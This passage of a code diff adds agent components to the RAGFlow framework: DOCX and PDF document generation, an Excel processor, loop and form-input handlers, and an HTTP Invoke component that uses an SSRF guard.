+                document.styles[style_name].font.size = Pt(size)
+            except Exception:
+                continue
+
+        for section in document.sections:
+            self._normalize_docx_section_geometry(section, default_section)
+            available_width = self._get_docx_available_width(section)
+
+            header = section.header
+            header.is_linked_to_previous = False
+            self._clear_docx_container(header)
+            if self._param.header_text:
+                paragraph = header.add_paragraph()
+                paragraph.add_run(self._param.header_text)
+
+            self._add_docx_watermark(section)
+
+            footer = section.footer
+            footer.is_linked_to_previous = False
+            self._clear_docx_container(footer)
+            if any(
+                [
+                    self._param.footer_text,
+                    self._param.add_timestamp,
+                    self._param.add_page_numbers,
+                ]
+            ):
+                paragraph = footer.add_paragraph()
+                paragraph.paragraph_format.tab_stops.add_tab_stop(
+                    int(available_width // 2),
+                    WD_TAB_ALIGNMENT.CENTER,
+                )
+                paragraph.paragraph_format.tab_stops.add_tab_stop(
+                    int(available_width),
+                    WD_TAB_ALIGNMENT.RIGHT,
+                )
+
+                if self._param.footer_text:
+                    paragraph.add_run(self._param.footer_text)
+
+                if self._param.add_timestamp or self._param.add_page_numbers:
+                    paragraph.add_run("\t")
+
+                if self._param.add_timestamp:
+                    paragraph.add_run(self._get_timestamp_text())
+
+                if self._param.add_page_numbers:
+                    paragraph.add_run("\t")
+                    self._append_docx_field(paragraph.add_run(), " PAGE ")
+
+        document.save(file_path)
+        with open(file_path, "rb") as f:
+            file_bytes = f.read()
+        return file_path, file_bytes
+
+    def thoughts(self) -> str:
+        return f"Generating {self._param.output_format.upper()} document with markdown conversion..."
+
+    def _generate_pdf(self, content: str) -> tuple[str, bytes]:
+        try:
+            engine = self._select_pdf_engine()
+            header_path = self._write_temp_tex(self._build_pdf_heading_overrides())
+            try:
+                file_path, _ = self._generate_pandoc_binary_output(
+                    content,
+                    "pdf",
+                    "pdf",
+                    include_timestamp_in_body=False,
+                    extra_args=[
+                        "--standalone",
+                        f"--pdf-engine={engine}",
+                        f"--include-in-header={header_path}",
+                        *self._get_pdf_font_args(),
+                    ],
+                )
+            finally:
+                if os.path.exists(header_path):
+                    os.remove(header_path)
+            return self._apply_pdf_overlay(file_path)
+        except Exception as e:
+            raise Exception(f"PDF generation failed: {str(e)}")
+
+    def _generate_docx(self, content: str) -> tuple[str, bytes]:
+        try:
+            file_path, _ = self._generate_pandoc_binary_output(
+                content,
+                "docx",
+                "docx",
+                include_timestamp_in_body=False,
+                extra_args=["--standalone"],
+            )
+            return self._decorate_docx(file_path)
+        except Exception as e:
+            raise Exception(f"DOCX generation failed: {str(e)}")
+
+    def _generate_txt(self, content: str) -> tuple[str, bytes]:
+        try:
+            return self._generate_pandoc_text_output(content, "plain", "txt")
+        except Exception as e:
+            raise Exception(f"TXT generation failed: {str(e)}")
+
+    def _generate_markdown(self, content: str) -> tuple[str, bytes]:
+        try:
+            return self._generate_pandoc_text_output(content, "markdown", "md")
+        except Exception as e:
+            raise Exception(f"Markdown generation failed: {str(e)}")
+
+    def _generate_html(self, content: str) -> tuple[str, bytes]:
+        try:
+            return self._generate_pandoc_text_output(content, "html", "html")
+        except Exception as e:
+            raise Exception(f"HTML generation failed: {str(e)}")

agent/component/excel_processor.py

@@ -0,0 +1,379 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+"""
+ExcelProcessor Component
+
+A component for reading, processing, and generating Excel files in RAGFlow agents.
+Supports multiple Excel file inputs, data transformation, and Excel output generation.
+"""
+
+import logging
+import os
+from abc import ABC
+from io import BytesIO
+
+import pandas as pd
+
+from agent.component.base import ComponentBase, ComponentParamBase
+from api.db.services.file_service import FileService
+from api.utils.api_utils import timeout
+from common import settings
+from common.misc_utils import get_uuid
+
+
+class ExcelProcessorParam(ComponentParamBase):
+    """
+    Define the ExcelProcessor component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        # Input configuration
+        self.input_files = []  # Variable references to uploaded files
+        self.operation = "read"  # read, merge, transform, output
+
+        # Processing options
+        self.sheet_selection = "all"  # all, first, or comma-separated sheet names
+        self.merge_strategy = "concat"  # concat, join
+        self.join_on = ""  # Column name for join operations
+
+        # Transform options (for LLM-guided transformations)
+        self.transform_instructions = ""
+        self.transform_data = ""  # Variable reference to transformation data
+
+        # Output options
+        self.output_format = "xlsx"  # xlsx, csv
+        self.output_filename = "output"
+
+        # Component outputs
+        self.outputs = {"data": {"type": "object", "value": {}}, "summary": {"type": "str", "value": ""}, "markdown": {"type": "str", "value": ""}}
+
+    def check(self):
+        self.check_valid_value(self.operation, "[ExcelProcessor] Operation", ["read", "merge", "transform", "output"])
+        self.check_valid_value(self.output_format, "[ExcelProcessor] Output format", ["xlsx", "csv"])
+        return True
+
+
+class ExcelProcessor(ComponentBase, ABC):
+    """
+    Excel processing component for RAGFlow agents.
+
+    Operations:
+    - read: Parse Excel files into structured data
+    - merge: Combine multiple Excel files
+    - transform: Apply data transformations based on instructions
+    - output: Generate Excel file output
+    """
+
+    component_name = "ExcelProcessor"
+
+    def get_input_form(self) -> dict[str, dict]:
+        """Define input form for the component."""
+        res = {}
+        for ref in self._param.input_files or []:
+            for k, o in self.get_input_elements_from_text(ref).items():
+                res[k] = {"name": o.get("name", ""), "type": "file"}
+        if self._param.transform_data:
+            for k, o in self.get_input_elements_from_text(self._param.transform_data).items():
+                res[k] = {"name": o.get("name", ""), "type": "object"}
+        return res
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 10 * 60)))
+    def _invoke(self, **kwargs):
+        if self.check_if_canceled("ExcelProcessor processing"):
+            return
+
+        operation = self._param.operation.lower()
+
+        if operation == "read":
+            self._read_excels()
+        elif operation == "merge":
+            self._merge_excels()
+        elif operation == "transform":
+            self._transform_data()
+        elif operation == "output":
+            self._output_excel()
+        else:
+            self.set_output("summary", f"Unknown operation: {operation}")
+
+    def _get_file_content(self, file_ref: str) -> tuple[bytes, str]:
+        """
+        Get file content from a variable reference.
+        Returns (content_bytes, filename).
+        """
+        value = self._canvas.get_variable_value(file_ref)
+        if value is None:
+            return None, None
+
+        # Handle different value formats
+        if isinstance(value, dict):
+            # File reference from Begin/UserFillUp component
+            file_id = value.get("id") or value.get("file_id")
+            created_by = value.get("created_by") or self._canvas.get_tenant_id()
+            filename = value.get("name") or value.get("filename", "unknown.xlsx")
+            if file_id:
+                content = FileService.get_blob(created_by, file_id)
+                return content, filename
+        elif isinstance(value, list) and len(value) > 0:
+            # List of file references - return first
+            return self._get_file_content_from_list(value[0])
+        elif isinstance(value, str):
+            # Could be base64 encoded or a path
+            if value.startswith("data:"):
+                import base64
+
+                # Extract base64 content
+                _, encoded = value.split(",", 1)
+                return base64.b64decode(encoded), "uploaded.xlsx"
+
+        return None, None
+
+    def _get_file_content_from_list(self, item) -> tuple[bytes, str]:
+        """Extract file content from a list item."""
+        if isinstance(item, dict):
+            return self._get_file_content(item)
+        return None, None
+
+    def _parse_excel_to_dataframes(self, content: bytes, filename: str) -> dict[str, pd.DataFrame]:
+        """Parse Excel content into a dictionary of DataFrames (one per sheet)."""
+        try:
+            excel_file = BytesIO(content)
+
+            if filename.lower().endswith(".csv"):
+                df = pd.read_csv(excel_file)
+                return {"Sheet1": df}
+            else:
+                # Read all sheets
+                xlsx = pd.ExcelFile(excel_file, engine="openpyxl")
+                sheet_selection = self._param.sheet_selection
+
+                if sheet_selection == "all":
+                    sheets_to_read = xlsx.sheet_names
+                elif sheet_selection == "first":
+                    sheets_to_read = [xlsx.sheet_names[0]] if xlsx.sheet_names else []
+                else:
+                    # Comma-separated sheet names
+                    requested = [s.strip() for s in sheet_selection.split(",")]
+                    sheets_to_read = [s for s in requested if s in xlsx.sheet_names]
+
+                dfs = {}
+                for sheet in sheets_to_read:
+                    dfs[sheet] = pd.read_excel(xlsx, sheet_name=sheet)
+                return dfs
+
+        except Exception as e:
+            logging.error(f"Error parsing Excel file {filename}: {e}")
+            return {}
+
+    def _read_excels(self):
+        """Read and parse Excel files into structured data."""
+        all_data = {}
+        summaries = []
+        markdown_parts = []
+
+        for file_ref in self._param.input_files or []:
+            if self.check_if_canceled("ExcelProcessor reading"):
+                return
+
+            # Get variable value
+            value = self._canvas.get_variable_value(file_ref)
+            self.set_input_value(file_ref, str(value)[:200] if value else "")
+
+            if value is None:
+                continue
+
+            # Handle file content
+            content, filename = self._get_file_content(file_ref)
+            if content is None:
+                continue
+
+            # Parse Excel
+            dfs = self._parse_excel_to_dataframes(content, filename)
+
+            for sheet_name, df in dfs.items():
+                key = f"{filename}_{sheet_name}" if len(dfs) > 1 else filename
+                all_data[key] = df.to_dict(orient="records")
+
+                # Build summary
+                summaries.append(f"**{key}**: {len(df)} rows, {len(df.columns)} columns ({', '.join(df.columns.tolist()[:5])}{'...' if len(df.columns) > 5 else ''})")
+
+                # Build markdown table
+                markdown_parts.append(f"### {key}\n\n{df.head(10).to_markdown(index=False)}\n")
+
+        # Set outputs
+        self.set_output("data", all_data)
+        self.set_output("summary", "\n".join(summaries) if summaries else "No Excel files found")
+        self.set_output("markdown", "\n\n".join(markdown_parts) if markdown_parts else "No data")
+
+    def _merge_excels(self):
+        """Merge multiple Excel files/sheets into one."""
+        all_dfs = []
+
+        for file_ref in self._param.input_files or []:
+            if self.check_if_canceled("ExcelProcessor merging"):
+                return
+
+            value = self._canvas.get_variable_value(file_ref)
+            self.set_input_value(file_ref, str(value)[:200] if value else "")
+
+            if value is None:
+                continue
+
+            content, filename = self._get_file_content(file_ref)
+            if content is None:
+                continue
+
+            dfs = self._parse_excel_to_dataframes(content, filename)
+            all_dfs.extend(dfs.values())
+
+        if not all_dfs:
+            self.set_output("data", {})
+            self.set_output("summary", "No data to merge")
+            return
+
+        # Merge strategy
+        if self._param.merge_strategy == "concat":
+            merged_df = pd.concat(all_dfs, ignore_index=True)
+        elif self._param.merge_strategy == "join" and self._param.join_on:
+            # Join on specified column
+            merged_df = all_dfs[0]
+            for df in all_dfs[1:]:
+                merged_df = merged_df.merge(df, on=self._param.join_on, how="outer")
+        else:
+            merged_df = pd.concat(all_dfs, ignore_index=True)
+
+        self.set_output("data", {"merged": merged_df.to_dict(orient="records")})
+        self.set_output("summary", f"Merged {len(all_dfs)} sources into {len(merged_df)} rows, {len(merged_df.columns)} columns")
+        self.set_output("markdown", merged_df.head(20).to_markdown(index=False))
+
+    def _transform_data(self):
+        """Apply transformations to data based on instructions or input data."""
+        # Get the data to transform
+        transform_ref = self._param.transform_data
+        if not transform_ref:
+            self.set_output("summary", "No transform data reference provided")
+            return
+
+        data = self._canvas.get_variable_value(transform_ref)
+        self.set_input_value(transform_ref, str(data)[:300] if data else "")
+
+        if data is None:
+            self.set_output("summary", "Transform data is empty")
+            return
+
+        # Convert to DataFrame
+        if isinstance(data, dict):
+            # Could be {"sheet": [rows]} format
+            if all(isinstance(v, list) for v in data.values()):
+                # Multiple sheets
+                all_markdown = []
+                for sheet_name, rows in data.items():
+                    df = pd.DataFrame(rows)
+                    all_markdown.append(f"### {sheet_name}\n\n{df.to_markdown(index=False)}")
+                self.set_output("data", data)
+                self.set_output("markdown", "\n\n".join(all_markdown))
+            else:
+                df = pd.DataFrame([data])
+                self.set_output("data", df.to_dict(orient="records"))
+                self.set_output("markdown", df.to_markdown(index=False))
+        elif isinstance(data, list):
+            df = pd.DataFrame(data)
+            self.set_output("data", df.to_dict(orient="records"))
+            self.set_output("markdown", df.to_markdown(index=False))
+        else:
+            self.set_output("data", {"raw": str(data)})
+            self.set_output("markdown", str(data))
+
+        self.set_output("summary", "Transformed data ready for processing")
+
+    def _output_excel(self):
+        """Generate Excel file output from data."""
+        # Get data from transform_data reference
+        transform_ref = self._param.transform_data
+        if not transform_ref:
+            self.set_output("summary", "No data reference for output")
+            return
+
+        data = self._canvas.get_variable_value(transform_ref)
+        self.set_input_value(transform_ref, str(data)[:300] if data else "")
+
+        if data is None:
+            self.set_output("summary", "No data to output")
+            return
+
+        try:
+            # Prepare DataFrames
+            if isinstance(data, dict):
+                if all(isinstance(v, list) for v in data.values()):
+                    # Multi-sheet format
+                    dfs = {k: pd.DataFrame(v) for k, v in data.items()}
+                else:
+                    dfs = {"Sheet1": pd.DataFrame([data])}
+            elif isinstance(data, list):
+                dfs = {"Sheet1": pd.DataFrame(data)}
+            else:
+                self.set_output("summary", "Invalid data format for Excel output")
+                return
+
+            # Generate output
+            doc_id = get_uuid()
+
+            if self._param.output_format == "csv":
+                # For CSV, only output first sheet
+                first_df = list(dfs.values())[0]
+                binary_content = first_df.to_csv(index=False).encode("utf-8")
+                filename = f"{self._param.output_filename}.csv"
+            else:
+                # Excel output
+                excel_io = BytesIO()
+                with pd.ExcelWriter(excel_io, engine="openpyxl") as writer:
+                    for sheet_name, df in dfs.items():
+                        # Sanitize sheet name (max 31 chars, no special chars)
+                        safe_name = sheet_name[:31].replace("/", "_").replace("\\", "_")
+                        df.to_excel(writer, sheet_name=safe_name, index=False)
+                excel_io.seek(0)
+                binary_content = excel_io.read()
+                filename = f"{self._param.output_filename}.xlsx"
+
+            # Store file
+            settings.STORAGE_IMPL.put(self._canvas._tenant_id, doc_id, binary_content)
+
+            # Set attachment output
+            self.set_output("attachment", {"doc_id": doc_id, "format": self._param.output_format, "file_name": filename})
+
+            total_rows = sum(len(df) for df in dfs.values())
+            self.set_output("summary", f"Generated {filename} with {len(dfs)} sheet(s), {total_rows} total rows")
+            self.set_output("data", {k: v.to_dict(orient="records") for k, v in dfs.items()})
+
+            logging.info(f"ExcelProcessor: Generated {filename} as {doc_id}")
+
+        except Exception as e:
+            logging.error(f"ExcelProcessor output error: {e}")
+            self.set_output("summary", f"Error generating output: {str(e)}")
+
+    def thoughts(self) -> str:
+        """Return component thoughts for UI display."""
+        op = self._param.operation
+        if op == "read":
+            return "Reading Excel files..."
+        elif op == "merge":
+            return "Merging Excel data..."
+        elif op == "transform":
+            return "Transforming data..."
+        elif op == "output":
+            return "Generating Excel output..."
+        return "Processing Excel..."

agent/component/exit_loop.py

@@ -0,0 +1,32 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class ExitLoopParam(ComponentParamBase, ABC):
+    def check(self):
+        return True
+
+
+class ExitLoop(ComponentBase, ABC):
+    component_name = "ExitLoop"
+
+    def _invoke(self, **kwargs):
+        pass
+
+    def thoughts(self) -> str:
+        return ""

agent/component/fillup.py

@@ -0,0 +1,145 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import json
+import re
+from functools import partial
+
+from agent.component.base import ComponentParamBase, ComponentBase
+from api.db.services.file_service import FileService
+
+
+_INITIAL_USER_INPUT_CONSUMED_KEY = "sys.__initial_user_input_consumed__"
+
+
+class UserFillUpParam(ComponentParamBase):
+    def __init__(self):
+        super().__init__()
+        self.enable_tips = True
+        self.tips = "Please fill up the form"
+        self.layout_recognize = ""
+
+    def check(self) -> bool:
+        return True
+
+
+class UserFillUp(ComponentBase):
+    component_name = "UserFillUp"
+
+    def _merge_runtime_inputs(self, runtime_inputs):
+        if runtime_inputs:
+            return runtime_inputs
+
+        fields = self.get_input_elements()
+        if not fields:
+            return {}
+
+        if self._canvas.globals.get(_INITIAL_USER_INPUT_CONSUMED_KEY):
+            return {}
+
+        query = self._canvas.globals.get("sys.query")
+        if query is None or query == "":
+            return {}
+
+        if isinstance(query, dict):
+            matched = {key: value if isinstance(value, dict) else {"value": value} for key, value in query.items() if key in fields}
+            if matched:
+                self._canvas.globals[_INITIAL_USER_INPUT_CONSUMED_KEY] = True
+            return matched
+
+        if len(fields) == 1:
+            field_name = next(iter(fields))
+            self._canvas.globals[_INITIAL_USER_INPUT_CONSUMED_KEY] = True
+            return {field_name: {"value": query}}
+
+        return {}
+
+    def _resolve_input_value(self, value, layout_recognize):
+        if isinstance(value, dict) and value.get("type", "").lower().find("file") >= 0:
+            if value.get("optional") and value.get("value", None) is None:
+                return None
+
+            file_value = value["value"]
+            files = file_value if isinstance(file_value, list) else [file_value]
+            return FileService.get_files(files, layout_recognize=layout_recognize)
+
+        if isinstance(value, dict):
+            raw = value.get("value")
+            if value.get("type") == "object" and isinstance(raw, str) and raw.strip():
+                try:
+                    return json.loads(raw)
+                except Exception:
+                    return raw
+            return raw
+
+        return value
+
+    def _invoke(self, **kwargs):
+        if self.check_if_canceled("UserFillUp processing"):
+            return
+
+        if self._param.enable_tips:
+            content = self._param.tips
+            for k, v in self.get_input_elements_from_text(self._param.tips).items():
+                v = v["value"]
+                ans = ""
+                if isinstance(v, partial):
+                    for t in v():
+                        ans += t
+                elif isinstance(v, list):
+                    ans = ",".join([str(vv) for vv in v])
+                elif not isinstance(v, str):
+                    try:
+                        ans = json.dumps(v, ensure_ascii=False)
+                    except Exception:
+                        pass
+                else:
+                    ans = v
+                if not ans:
+                    ans = ""
+                content = re.sub(r"\{%s\}" % k, ans, content)
+
+            self.set_output("tips", content)
+        layout_recognize = self._param.layout_recognize or None
+        merged_inputs = self._merge_runtime_inputs(kwargs.get("inputs", {}))
+        if not merged_inputs:
+            # No fresh user answer was supplied on this entry. Clear any values
+            # retained from a previous response so the canvas wait-check treats
+            # the form as unsatisfied and pauses for input again. Without this,
+            # an Await Response node inside a Loop would only pause on the first
+            # iteration and silently reuse the earlier answer afterwards.
+            self._clear_form_values()
+        for k, v in merged_inputs.items():
+            if self.check_if_canceled("UserFillUp processing"):
+                return
+            resolved = self._resolve_input_value(v, layout_recognize)
+            self.set_output(k, resolved)
+            self.set_input_value(k, resolved)
+
+    def _clear_form_values(self):
+        for field in self.get_input_elements().values():
+            if not isinstance(field, dict):
+                continue
+            field_type = str(field.get("type", "")).lower()
+            # An optional file input is already treated as satisfied when empty
+            # (see Canvas._is_input_field_satisfied), so clearing it would not
+            # force a re-prompt and would only drop a previously uploaded file.
+            # Leave it untouched to avoid unexpected data loss.
+            if "file" in field_type and field.get("optional"):
+                continue
+            field["value"] = None
+
+    def thoughts(self) -> str:
+        return "Waiting for your input..."

agent/component/invoke.py

@@ -0,0 +1,305 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import json
+import logging
+import os
+import re
+import time
+from abc import ABC
+from functools import partial
+from urllib.parse import urlparse
+
+import requests
+
+from agent.component.base import ComponentBase, ComponentParamBase
+from common.connection_utils import timeout
+from common.ssrf_guard import assert_url_is_safe, pin_dns
+from deepdoc.parser import HtmlParser
+
+
+class InvokeParam(ComponentParamBase):
+    """
+    Define the Invoke component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.proxy = None
+        self.headers = ""
+        self.method = "get"
+        self.variables = []
+        self.url = ""
+        self.timeout = 60
+        self.clean_html = False
+        self.datatype = "json"
+
+    def check(self):
+        self.check_valid_value(self.method.lower(), "Type of content from the crawler", ["get", "post", "put"])
+        self.check_empty(self.url, "End point URL")
+        self.check_positive_integer(self.timeout, "Timeout time in second")
+        self.check_boolean(self.clean_html, "Clean HTML")
+        self.check_valid_value(self.datatype.lower(), "Data post type", ["json", "formdata"])  # Check for valid datapost value
+
+
+class Invoke(ComponentBase, ABC):
+    component_name = "Invoke"
+    header_variable_ref_patt = r"\{([a-zA-Z_][a-zA-Z0-9_.@-]*)\}"
+
+    def __init__(self, *args, **kwargs):
+        super().__init__(*args, **kwargs)
+        self._pinned_hostname: str | None = None
+        self._pinned_ip: str | None = None
+
+    @staticmethod
+    def _coerce_json_arg_if_possible(key, value):
+        raw_value = value
+        if isinstance(value, str):
+            try:
+                value = json.loads(value)
+                logging.debug(
+                    "Invoke JSON arg coercion succeeded. key=%s parsed_type=%s",
+                    key,
+                    type(value).__name__,
+                )
+            except json.JSONDecodeError as exc:
+                logging.info(
+                    "Invoke JSON arg coercion skipped; value is not valid JSON. key=%s raw=%r error=%s",
+                    key,
+                    raw_value,
+                    exc,
+                )
+                return raw_value
+
+        try:
+            json.dumps(value, allow_nan=False)
+        except (TypeError, ValueError) as exc:
+            logging.warning(
+                "Invoke JSON arg is not JSON-serializable. key=%s value_type=%s value=%r error=%s",
+                key,
+                type(value).__name__,
+                value,
+                exc,
+            )
+            raise ValueError(f"Invoke JSON argument '{key}' is not JSON-serializable.") from exc
+
+        return value
+
+    def get_input_form(self) -> dict[str, dict]:
+        res = {}
+        for item in self._param.variables or []:
+            if not isinstance(item, dict):
+                continue
+            ref = (item.get("ref") or "").strip()
+            if not ref or ref in res:
+                continue
+
+            elements = self.get_input_elements_from_text("{" + ref + "}")
+            element = elements.get(ref, {})
+            res[ref] = {
+                "type": "line",
+                "name": element.get("name") or item.get("key") or ref,
+            }
+        return res
+
+    def _resolve_variable_value(self, variable_name: str, kwargs: dict | None = None):
+        kwargs = kwargs or {}
+        value = kwargs.get(variable_name, self._canvas.get_variable_value(variable_name))
+        if isinstance(value, partial):
+            value = "".join(value())
+            self.set_input_value(variable_name, value)
+        return "" if value is None else value
+
+    def _render_template(self, content: str, pattern: str, kwargs: dict | None = None, *, flags: int = 0) -> str:
+        content = content or ""
+        if not content:
+            return content
+
+        def replace_variable(match_obj):
+            return str(self._resolve_variable_value(match_obj.group(1), kwargs))
+
+        return re.sub(pattern, replace_variable, content, flags=flags)
+
+    def _resolve_template_text(self, content: str, kwargs: dict | None = None) -> str:
+        return self._render_template(content, self.variable_ref_patt, kwargs, flags=re.DOTALL)
+
+    def _resolve_header_text(self, content: str, kwargs: dict | None = None) -> str:
+        # Headers support plain {token} placeholders, so they cannot reuse the canvas variable regex.
+        return self._render_template(content, self.header_variable_ref_patt, kwargs)
+
+    def _resolve_arg_value(self, para: dict, kwargs: dict) -> object:
+        ref = (para.get("ref") or "").strip()
+        if ref and (ref in kwargs or self._canvas.get_variable_value(ref) is not None):
+            return self._resolve_variable_value(ref, kwargs)
+
+        if para.get("value") is not None:
+            value = para["value"]
+            if isinstance(value, str):
+                return self._resolve_template_text(value, kwargs)
+            return value
+
+        if ref:
+            return self._resolve_variable_value(ref, kwargs)
+
+        return ""
+
+    def _is_json_mode(self) -> bool:
+        return self._param.datatype.lower() == "json"
+
+    def _build_request_args(self, kwargs: dict) -> dict:
+        args = {}
+        for para in self._param.variables:
+            key = para["key"]
+            value = self._resolve_arg_value(para, kwargs)
+            if self._is_json_mode():
+                # JSON mode accepts stringified JSON so complex payloads can be passed through variables.
+                value = self._coerce_json_arg_if_possible(key, value)
+            args[key] = value
+
+            if para.get("ref"):
+                self.set_input_value(para["ref"], value)
+        return args
+
+    def _build_url(self, kwargs: dict) -> str:
+        url = self._resolve_template_text(self._param.url.strip(), kwargs)
+        if not url.startswith(("http://", "https://")):
+            url = "http://" + url
+        hostname, ip = assert_url_is_safe(url)
+        self._pinned_hostname = hostname
+        self._pinned_ip = ip
+        return url
+
+    def _build_headers(self, kwargs: dict) -> dict:
+        if not self._param.headers:
+            return {}
+
+        headers = json.loads(self._param.headers)
+        if not isinstance(headers, dict):
+            raise ValueError("Invoke headers must be a JSON object.")
+
+        return {key: self._resolve_header_text(value, kwargs) if isinstance(value, str) else value for key, value in headers.items()}
+
+    @staticmethod
+    def _ssrf_log_target(url: str) -> str:
+        parsed = urlparse(url)
+        if not parsed.scheme or not parsed.hostname:
+            return "invalid-url"
+        return f"{parsed.scheme}://{parsed.hostname}"
+
+    def _normalize_proxy_url(self) -> str | None:
+        proxy = (self._param.proxy or "").strip()
+        if not re.sub(r"https?:?/?/?", "", proxy):
+            return None
+        if not proxy.startswith(("http://", "https://")):
+            proxy = "http://" + proxy
+        return proxy
+
+    def _build_proxies(self) -> dict | None:
+        proxy_url = self._normalize_proxy_url()
+        if not proxy_url:
+            return None
+        return {"http": self._param.proxy, "https": self._param.proxy}
+
+    def _send_request(self, url: str, args: dict, headers: dict, proxies: dict | None):
+        method = self._param.method.lower()
+        request = getattr(requests, method)
+        request_kwargs = {
+            "url": url,
+            "headers": headers,
+            "proxies": proxies,
+            "timeout": self._param.timeout,
+            "allow_redirects": False,
+        }
+
+        # GET sends query params; POST/PUT send either JSON or form data based on datatype.
+        if method == "get":
+            request_kwargs["params"] = args
+            return request(**request_kwargs)
+
+        body_key = "json" if self._is_json_mode() else "data"
+        request_kwargs[body_key] = args
+        return request(**request_kwargs)
+
+    def _format_response(self, response) -> str:
+        if not self._param.clean_html:
+            return response.text
+
+        # HtmlParser keeps the Invoke output text-focused when the endpoint returns HTML.
+        sections = HtmlParser()(None, response.content)
+        return "\n".join(sections)
+
+    @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 3)))
+    def _invoke(self, **kwargs):
+        if self.check_if_canceled("Invoke processing"):
+            return
+
+        args = self._build_request_args(kwargs)
+        headers = self._build_headers(kwargs)
+        proxies = self._build_proxies()
+        proxy_hostname = proxy_ip = None
+
+        if proxies:
+            proxy_url = self._normalize_proxy_url()
+            try:
+                proxy_hostname, proxy_ip = assert_url_is_safe(proxy_url)
+            except ValueError as exc:
+                logging.warning(
+                    "Invoke SSRF guard blocked proxy=%s: %s",
+                    self._ssrf_log_target(proxy_url),
+                    exc,
+                )
+                self.set_output("_ERROR", "URL not valid")
+                return "Http request error: URL not valid"
+
+        last_error = None
+        for _ in range(self._param.max_retries + 1):
+            if self.check_if_canceled("Invoke processing"):
+                return
+
+            try:
+                url = self._build_url(kwargs)
+                if not self._pinned_hostname or not self._pinned_ip:
+                    raise ValueError("Invoke URL was not validated before request.")
+                with pin_dns(self._pinned_hostname, self._pinned_ip):
+                    if proxy_hostname and proxy_ip:
+                        with pin_dns(proxy_hostname, proxy_ip):
+                            response = self._send_request(url, args, headers, proxies)
+                    else:
+                        response = self._send_request(url, args, headers, proxies)
+                result = self._format_response(response)
+                self.set_output("result", result)
+                return result
+            except ValueError as e:
+                logging.warning(
+                    "Invoke SSRF guard blocked url=%s: %s",
+                    self._ssrf_log_target(locals().get("url", self._param.url)),
+                    e,
+                )
+                self.set_output("_ERROR", "URL not valid")
+                return "Http request error: URL not valid"
+            except Exception as e:
+                if self.check_if_canceled("Invoke processing"):
+                    return
+
+                last_error = e
+                logging.exception(f"Http request error: {e}")
+                time.sleep(self._param.delay_after_error)
+
+        if last_error:
+            self.set_output("_ERROR", str(last_error))
+            return f"Http request error: {last_error}"
+
+    def thoughts(self) -> str:
+        return "Waiting for the server respond..."

agent/component/iteration.py

@@ -0,0 +1,64 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+from agent.component.base import ComponentBase, ComponentParamBase
+
+"""
+class VariableModel(BaseModel):
+    data_type: Annotated[Literal["string", "number", "Object", "Boolean", "Array<string>", "Array<number>", "Array<object>", "Array<boolean>"], Field(default="Array<string>")]
+    input_mode: Annotated[Literal["constant", "variable"], Field(default="constant")]
+    value: Annotated[Any, Field(default=None)]
+    model_config = ConfigDict(extra="forbid")
+"""
+
+
+class IterationParam(ComponentParamBase):
+    """
+    Define the Iteration component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.items_ref = ""
+        self.variable = {}
+
+    def get_input_form(self) -> dict[str, dict]:
+        return {"items": {"type": "json", "name": "Items"}}
+
+    def check(self):
+        return True
+
+
+class Iteration(ComponentBase, ABC):
+    component_name = "Iteration"
+
+    def get_start(self):
+        for cid in self._canvas.components.keys():
+            if self._canvas.get_component(cid)["obj"].component_name.lower() != "iterationitem":
+                continue
+            if self._canvas.get_component(cid)["parent_id"] == self._id:
+                return cid
+
+    def _invoke(self, **kwargs):
+        if self.check_if_canceled("Iteration processing"):
+            return
+
+        arr = self._canvas.get_variable_value(self._param.items_ref)
+        if not isinstance(arr, list):
+            self.set_output("_ERROR", self._param.items_ref + " must be an array, but its type is " + str(type(arr)))
+
